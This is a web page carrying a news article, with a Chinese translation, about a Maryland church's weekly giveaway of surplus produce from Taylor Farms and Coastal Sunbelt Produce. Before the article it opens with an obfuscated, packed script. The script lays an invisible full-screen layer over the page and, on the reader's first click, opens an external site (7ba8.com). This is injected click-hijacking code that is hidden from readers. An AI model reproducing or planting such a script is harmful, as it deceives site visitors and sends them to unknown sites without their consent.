<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>With world headlines warning of increasing drought and a hunger crisis and almost 15 percent of U.S. households struggling to put food on the table, a religious group in the shadow of the nation's capital is quietly putting surplus food on empty tables.Every Monday, about 150 people line up in the parking lot of Christian Life Center in Prince George’s County, Maryland. Joan Oswald, whose family has lived in an emergency homeless shelter since April, got here early.
“I had a lot of difficulties finding help with food. But since I met pastor Slye, we don’t have to worry about food for my family. Every day there is food in my refrigerator," Oswald said.
Everyone in line receives bread and a full bag of produce weighing more than five kilos.
“Everything is free. That is why you have a line here. Everybody is hurting right now. Everybody has a need no matter what background you are from,” said. pastor Ben Slye, who runs Christian Life Center.
He began the weekly food distribution to low-income residents in the Washington suburbs a year and a half ago. Every Monday, he rents a refrigerated truck to pick up fruits and vegetables from the two largest produce companies on the east coast, Taylor Farms and Coastal Sunbelt Produce. “It is approximately around 20,000 pounds [9,000 kilograms] per week. It could be sometimes we receive just 5,000. Today we will receive up to 40 to 50,000 pounds [18,000 to 23,000 kilograms] of fresh produce between the two organizations,” Slye said The program began when Slye was told about the huge amount of produce sitting in warehouses with nowhere to go. “We sell millions of cases of fresh fruits and vegetables every year. Sometimes we have a little leftover. The quality standards of our customers are very high. So if the produce gets a couple of days old, maybe we can’t sell it to our customers, but we certainly don’t want it to go to waste,” said James McWhorter, a vice president of Coastal Sunbelt Produce. If the surplus produce doesn’t get picked up, McWhorter says, the company has to throw it out. "Best case scenario, it will go to be composted. Worst case scenario, it will go to the landfill,” he said. About 40 percent of all the food produced in the US is wasted, according to a recent report by the National Resources Defense Council.
“It is a huge waste both monetarily and environmentally. We estimated that about $165 billion every year was wasted on food that we never eat.” said Bob Keefe, the council'ss spokesman. Back at the Christian Life Center, about 20 local non-profit groups take Slye's leftovers to distribute. “Vegetables are hard to get. You can get all the bread, but vegetables are really hard to get. Very thankful,” Lombardo said. “A lot of families are living paycheck to paycheck, so they are not having to buy those expensive vegetables. It is a pretty good thing for them,” said Dana Duncan, of the Bladensburg police department Slye says it is a blessing to be able to reduce food waste and help feed people in need. 译文 随着世界头条干旱和饥荒危机的警告增加,近15%的美国家庭努力把食物放在桌子上,在国家首都阴影下的宗教团体静静地将剩余的食物放在空着的桌上。 每周一，将近150人在马里兰州，乔治王子县的基督教徒生活中心的停车场排队。琼奥斯瓦德来得很早,他的家人自从4月就住在紧急收容所。 “找食物给我带来了很多困难，但自从我遇到了牧师Slye,我们不必为家人担心食物。每天在我的冰箱里都会有食物,”奥斯瓦德说。 每个排队的人都收到了面包和一袋满满的，超过5千克的农产品。 “每样东西都免费，这是这儿为什么排队的原因。现在每个人都受伤了，不管你来自什么背景，每个人都有需要，”牧师Ben Slye说，他现在经营基督教徒生活中心。 他在一年半前开始每周向华盛顿郊区低收入的居民发放食物。每周一，他会租一辆带冰箱的卡车从东部海岸的两个最大的生产公司（泰勒农场和沿海阳光地带生产商）处装好水果和蔬菜。 “每周大约有20000磅(9000公斤)。有时候我们只收到5000。今天我们将从两个机构收到40到50000磅(18000到23000公斤)的新鲜农产品,”Slye说。 项目开始时Slye被告知,大量的产品在仓库无处可去。 “我们每年销售数百万例的新鲜水果和蔬菜。有时我们有一点剩余的。我们客户的质量标准是非常高的。因此,如果产品放了几天,我们也许不会卖给我们的客户,但我们当然不希望浪费,”沿海阳光地带生产商的副总詹姆斯?麦克沃特说。 如果剩余的产品不被拿走,麦克沃特说,公司必须把它扔掉。 “最好的情况是它去堆肥。最坏的情况是它去垃圾填埋场，”他说。 根据最近的一份由美国国家资源保护委员会提出的报告，在美国，大约有40%的食物会被浪费。 “这在金钱和环境方面是一个很大的浪费。我们估计,每年约有1650亿美元被浪费在我们从来不吃的食品上。”会议的发言人Bob Keefe说。 回到基督教生活中心,大约有20个当地的非盈利组织将Slye的剩货分发。 “蔬菜很难拿到，你可以拿到所有的面包，但是蔬菜真的很难得到。很感激，”Lombardo说。 “很多家庭靠工资生活，所以他们不用去买那些昂贵的蔬菜。这点对他们来说很好，”Bladensburg警署部的Dana Duncan说。 Slye说可以减少食物的浪费，并且帮助到需要的人，这件事本身是有福的。
![]() |
|
收藏